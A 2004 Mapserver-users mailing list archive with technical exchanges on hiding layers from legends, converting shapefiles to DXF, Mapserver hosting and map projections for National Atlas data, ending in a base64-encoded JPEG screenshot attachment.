one of the 2 from automagically appearing in the legend? I know it's gotta be easy... Thanks, Gerry -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From bskarger at students.wisc.edu Thu May 20 07:48:29 2004 From: bskarger at students.wisc.edu (BONNER S KARGER) Date: Thu, 20 May 2004 09:48:29 -0500 Subject: [Mapserver-users] This should be easy but.. Message-ID: I believe you can simply comment out (remove) the NAME in the map file CLASS object, like this: CLASS # NAME "County" OUTLINECOLOR 128 128 128 COLOR 232 232 232 LABEL Worked for me anyway... Bonner ----- Original Message ----- From: Gerry Creager N5JXS Date: Thursday, May 20, 2004 9:23 am Subject: [Mapserver-users] This should be easy but.. > I'm strapped for time. Per a recent suggestion, I'm creating 2 > layer > instances for some polygons. The fill polygon needs to be > semitransparent while the outline later needs to be opaque. OK, I > can > handle this. > > How can I keep one of the 2 from automagically appearing in the > legend? > I know it's gotta be easy... > > Thanks, Gerry > -- > Gerry Creager -- gerry.creager at tamu.edu > Network Engineering -- AATLT, Texas A&M University > Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 > Page: 979.228.0173 > Office: 903A Eller Bldg, TAMU, College Station, TX 77843 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From spencer at dmsolutions.ca Thu May 20 07:58:21 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Thu, 20 May 2004 10:58:21 -0400 Subject: [Mapserver-users] Shape file to DXF conversion tool? In-Reply-To: <001001c43e74$8b9a7320$1300a8c0@cuestasys.com> References: <001001c43e74$8b9a7320$1300a8c0@cuestasys.com> Message-ID: <40ACC78D.5080803@magma.ca> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MapServerDXF Mark Adams wrote: > Hi all, sorry if this is slightly off topic, but I have a need to > convert ESRI shape files to DXF format as part of a web mapping site I?m > working on. Does anyone know of a tool that can be used for this? > Preference would be for open source library, but an inexpensive > commercial package would be a possibility as well. Thanks in advance. > > > > ------------------------------ > > Mark Adams > > Business & Systems Analyst > > Cuesta Systems Inc. > > 5230 South Service Road > > Burlington, ON L7L 5K2 > > Phone: 905-333-4544 x14 > > Fax: 905-333-0455 > > Email: markadams at cuestasys.com > > > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From plists at prometheus.org.yu Thu May 20 08:01:58 2004 From: plists at prometheus.org.yu (Attila Csipa) Date: Thu, 20 May 2004 17:01:58 +0200 Subject: [Mapserver-users] Shape file to DXF conversion tool? In-Reply-To: <001001c43e74$8b9a7320$1300a8c0@cuestasys.com> References: <001001c43e74$8b9a7320$1300a8c0@cuestasys.com> Message-ID: <200405201701.58703.plists@prometheus.org.yu> On Thursday 20 May 2004 16:12, Mark Adams wrote: > convert ESRI shape files to DXF format as part of a web mapping site I??m > working on. Does anyone know of a tool that can be used for this? > Preference would be for open source library, but an inexpensive Depending on what do you need precisely, you could use the DXF outputformat of mapserver and just generate the map (which uses shapefiles). An overkill, granted, if you don't already have mapserver installed, but an option nonetheless. http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MapServerDXF From spencer at dmsolutions.ca Thu May 20 08:02:34 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Thu, 20 May 2004 11:02:34 -0400 Subject: [Mapserver-users] This should be easy but.. In-Reply-To: <40ACBF7A.5000409@tamu.edu> References: <40ACBF7A.5000409@tamu.edu> Message-ID: <40ACC88A.6020809@magma.ca> Gerry, there was a suggestion on the list in the last couple of days (I think) regarding using HTML legend templates to accomplish this. The gist of it was to set metadata on the layer that you want to appear in the legend and include something like this in the legend template: [if name=SHOWINLEGEND oper=eq value=1] [leg_layer_name] [/if] you can also reverse the logic and put metadata in layers you don't want in the legend, and recode the [if] appropriately If you are not using HTML legends then I have no idea if this can be done or not. Groups perhaps? Cheers, Paul Gerry Creager N5JXS wrote: > I'm strapped for time. Per a recent suggestion, I'm creating 2 layer > instances for some polygons. The fill polygon needs to be > semitransparent while the outline later needs to be opaque. OK, I can > handle this. > > How can I keep one of the 2 from automagically appearing in the legend? > > I know it's gotta be easy... > > Thanks, Gerry -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From TMitchell at lignum.com Thu May 20 08:04:06 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Thu, 20 May 2004 08:04:06 -0700 Subject: [Mapserver-users] Mapserver Hosting Wanted In-Reply-To: Message-ID: I'm doing some hosting on my server already and would consider adding others to the mix. Ultimately, the problem you mentioned is all the more reason for a co-op run by the users and for the users. That's where I'd like to go once there is sufficient interest. Folks are welcome to contact me off list for more details. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/19/2004 10:46:41 PM: > Aaron: > > I hate to be a cynic on this one because I love Mapserver, but I am > skeptical about Mapserver hosting. I finally bit the bullet and bought my > own server just for testing, but probably will still eventually deploy to a > dedicated server. I'm not naming names, but my experience with more than one > supposed Mapserver hosting op...left me, well...cynical...and out a good > deal of cash. > > Good Luck. > > Mark > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dmi at webmail.co.za Thu May 20 08:04:23 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 17:04:23 +0200 Subject: [Mapserver-users] National Atlas Datasets References: <005701c43e5c$57fc1c70$b97a27c4@SCOTTA> <40AC992C.5060704@twcny.rr.com> Message-ID: <008b01c43e7c$4003e380$ea271ec4@SCOTTA> > Maybe the spheroids and datum need to be specified (if they are > different than the map region) in the PROJECTION (e.g. "ellps=wgs84" > etc) so the latlong will transform properly (and maybe you'll need a > TRANSFORM TRUE declaration)? > > Scott Ainslie wrote: > > >What projections do these datasets use. > >I have tried latlong but the scale on my scasle bars are totally out. > >The Bounding_Coordinates: > > West_Bounding_Coordinate: 170 > > East_Bounding_Coordinate: -64 > > North_Bounding_Coordinate: 72 > > South_Bounding_Coordinate: 17 > >Perhaps my extents are wrong, do I perhaps need to multiply these by some > >factor of 10. > > > >Could someone please give me an example of the projection section of the map > >file that would work with this kind of data. > > > >Thanks > >Scott If I use: "proj=latlong" "ellps=wgs84" Mapserver won't draw a map but using: "init=epsg:2163" Draws the map but with the scale bars way out. Scott From dmi at webmail.co.za Thu May 20 08:04:38 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 17:04:38 +0200 Subject: [Mapserver-users] National Atlas Datasets References: Message-ID: <008c01c43e7c$420531c0$ea271ec4@SCOTTA> This is a multi-part message in MIME format. ------=_NextPart_000_005B_01C43E8C.88CD3570 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit > > What projections do these datasets use. > > > > Could someone please give me an example of the projection section of > the map > > file that would work with this kind of data. > > Scott, > > When you download data from the National Atlas, there is a link to a > description of the dataset: > > http://nationalatlas.gov/atlasftp.html#layerstable > > Under (Column 2) > > This provides the metadata for each file, which describes, among other > things, the spatial reference information for the data set. I think that > all of the data on the NA site is in Decimal Degrees, and uses NAD83. > > That said, since it seems like you are a new MapServer user, I would > encourage you to start with as few variables as possible. You don't HAVE > to supply projection information in the Mapfile. Start with a simple > mapfile that only has one layer. In the Identification_Information > section of the metadata is a section that describes the spatial domain's > bounding coordinates. Use these to specify your mapextent. > > You'll most likely face enough issues initially figuring out how to > configure everything. Once you get it working with a simple mapfile, you > can add in projection information and start working with data sets that > use different projections, OGR, etc. > > My $0.02. > > Chip > Quite proud of what I have, looked at this software for the first time yesterday! The scale bars simply produce nothing until you are zoomed right in and then they say 10km in reality is about 1500km on the scale. If I could sort my projections out and map data from a database I will be flying ;-) Thanks Scott ------=_NextPart_000_005B_01C43E8C.88CD3570 Content-Type: image/jpeg; name="Mapserver1.jpg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Mapserver1.jpg" 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 AAAAcutapRbV6WicwIARNdSL0vKy6stW3Yd3WgM+jOY92HdiBzAVtS9RW458NfO3joy7KDEAAcey udew5T0VwnsgIAAAAAAAAAoRpSt7LF+c2dRgAraNSt6Jq+Xvnq+7Du6gGfRnOHKqLKiyomaiyosr YiaiyosqLKiyosqLKiyosqLdOI0caiyosqLKiyosqLKiyosqLKiyILKiyosqLKi1uY168eygGfRn M/aneXzylloVLTQXKlunHsUAAAAAAAAAAAAAAAAAAABOvJvjJy756QqWmkl6ql1bGzXk1gDPooeY 3DC3DC3DC3DC3DDfXUxtYyNYyNYyNYyNYyNYyNYyNYyNYyNYyNYyNYyNYyNYyNYyNYyNYyNYyNYy NYyNwwtwwtwwtwwtwwtwpr49gD//xAAqEAACAQIFBAMBAQEBAQEAAAABAgMAEgQRExQzECAhIjAx MkAjUEFCJP/aAAgBAQABBQH/AI6gQTplr7o5MzOsTolblgokcOZyGhkaStRL8Qhao5Vs1GrWdnhL NFDJqIoEM6Za+6OSOS//AETCGVoAzTQNaIRkIRRgzRkDExe8UektOl1aC2mHOtFc44rI447KMIZW gDNNA1scdh+PESGKNp51G8kreSVvJK3klbySt5JW8kreSVvJK3klbySt5JW8kreSVvJK3klbySt5 JW8kreSVvJK3klbySt5JW8kreSVvJK3klbySt5JSYmVy+ImjO8kreSVvJK3klbySt5JW8kreSVvJ K3klbySt5JW8kreSVvJK3klbySt5JW8kreSVvJK3klbySt5JW8kreSVvJK3klbySt5JSYiZ6gmd5 euN4WczPs5K2clbOStnJWzkrZyVs5K2clbOStnJWzkrZyVs5K2clbOStnJWzkrZyVs5K2clbOStn JWzkrZyVs5K2clNhXStBqdDGNOlLxLdJKGjKusV1DDsQcOyrtnoRUMI5GzkrZyVs5K2clbOStnJW zkrZyVs5K2clbOStnJWzkrZyVs5K2clbOStnJWzkrZyVs5K2clbOSmVsO+Fa/Edcbww8tI4b+kjM MthZbqMSmjGKSJaMYL6OmUWxH81my0rKaZQtZyLQmypHVx/JjeXA8vXG8MPLIbUByqN7v6Zj7MbX ZpM73ukz0yzo0hkFK7F0JJqX8Kqr1aNGOTrQlZaWaMn+HG8uB5euN4YeWY+ekcmf8mqta1apoytR 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 0qxPJgeXrjeGM2uMZBWKxDFkhNTYdNRM7a8tQFo7D5frH47iKzNWIehUGrSKzalYHoWyoKc+hGYV mt9zV1tAgiiQo66iUpIpSD2ScdR/fbJ+GXOlYNWJ5MDy9cbwx8hXza1SEqZJNRSTpK7ZarCSEkxU WC0pzFy5qTqJKrKZMq8tSqF+ALkewqDVhpVC9rxkzZSZoJasekjcEJZKsUtya11i9SPIOY6N5LtY qLavaeSiqmsQtr4Hl643hj5OrLcqnKoHKkuq0+ISNhIhdgbjE5bQYGCLJtAhWw5IjWxf+BH0JtF2 TL7N3SdcTyYHl643hj5KUGVxIY1M5WjIhjuNRPIAZLVETJFHK11SeBF+P+HK2mxmUU0l9IFt7icq Ue/TE8mB5euN4Y+SjEbjANKSG4vFbDEjNIsBFaWaVJ6UZSFeW9lZW+C5bqPgf+/+/X87JdSwKJIY hki2L3H9L5bpieTA8vXG8MfJ2t+qIBFgplNjrdIER2VLfgaN8rGFab6Om2oyte0TltOS7+RntrUX NpFVo7kpJlYI6v3NSeD0xPJgeXrjeGPk7ft+yVQY4WZ8V/w2jurSWnhXJFBi0PaJdMdv3TLlV61q LWIOb4Hl643hmhsq96ver3q96vermzver3q96ver2rMg3vV71e9XvV71e9XvV71e9XvV71e9XvV7 1e9XvV71e9RDUqVNKr3q96ver3q96ver3q96ver3q96ver3q96ver3q96var2q96var3q96ver3q 96ver3q96vao0MrYdQuJ64zh+NlyH/Uwi2z9cbw4aJZXGHgNf+5+blyuFXLnmKzoMppTnT/j/kf+ nDQg4hEjYnKsxmWFFlFXLlnStnVy0DnWG5+uN4cDyRwWSf8ArJnRBNaZqw0yE032EOSLbT/j/kf/ AFNBrHG56jDwFIqw56ZAtNRraqoaKHJfvDc/XG8NeaHj4X/H/INea/8Afhw3P1lQuu3krbyVt5K2 8lbeStvJW3krbyVt5K28lbeSjhC1bKtlWyrZVsq2VbKtlWyrZVsq2VbKtlWyrZVsq2VbKtlWyrZV sq2VbKtlWyrZVsq2VbKtlWyrZVsq2VbKtlWyrZVt5K28lbeStvJW3krbyVt5K28lbeStvJW3krby VDAY36f/xAAmEAACAgEEAgICAwEAAAAAAAABAgAREhAgMDEhIgNAMkETYEJQ/9oACAECAAEFAf8A pVKM6liWPpFeX9Rwb1yMy5rxim4V4sRPGvyDxuuZTIcRNQGopsFeEmoZ+ka9Gnrw5GXL3NorYxTc K3vEeLePrV6PFoHhPUuKdjDURDYIhXcTcJ9UHqYvgM17vVZ42GtV71bStFOMVwdCsqVKgWYzGVHu ZY7lG0AQ6r3q26yIjwG9xbGZWXUT1nrDWlzKHgXvVt1xTUyn8k/kEU3qRZKrPXnXvVuKp8fiBvCs 